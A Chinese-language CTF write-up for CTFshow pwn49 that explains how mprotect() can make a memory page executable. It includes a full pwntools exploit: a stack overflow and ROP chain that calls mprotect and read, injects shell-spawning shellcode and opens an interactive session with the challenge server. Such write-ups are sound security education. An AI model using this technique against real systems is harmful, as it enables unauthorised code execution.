CTFshow pwn49

Pwn mprotect()函数#

以CTFshow pwn49为例。
学习mprotect函数
mprotect函数可以将内存权限进行修改为可读可写可执行。
int mprotect(const void *start, size_t len, int prot);mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
一般prot直接修改为7,即可读可写可执行。
这样,我们就可以往某段内存写入shellcode执行了。
需要指出的是,锁指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
在CTFshow pwn49中,file是静态编译的statically linked,checksec发现是Canary found(其实并没有,个人的checksec版本过低),依旧可以触发栈溢出漏洞。
思路:首先调用mprotect函数对内存页权限进行修改,之后调用read函数在适当位置读入shellcode

from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28264)
elf = ELF('./pwn')
offset = 0x12 + 0x4
mprotect_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
nx_addr = 0x80DA000
nx_size = 0x1000
nx_prot = 0x7
pop_eax_edx_ebx = 0x8056194
shellcode = asm(shellcraft.sh())
payload = offset * b'a'
payload += p32(mprotect_addr)
payload += p32(pop_eax_edx_ebx)
payload += p32(nx_addr)
payload += p32(nx_size)
payload += p32(nx_prot)
#----------
payload += p32(read_addr)
payload += p32(nx_addr) #ret2 sh_addr
payload += p32(0) #read(fd, *buf, count)
payload += p32(nx_addr) 
payload += p32(nx_size)
io.sendline(payload)
io.sendline(shellcode)
io.interactive()
posted @   场-room  阅读(125)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 使用C#创建一个MCP客户端
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示
主题色彩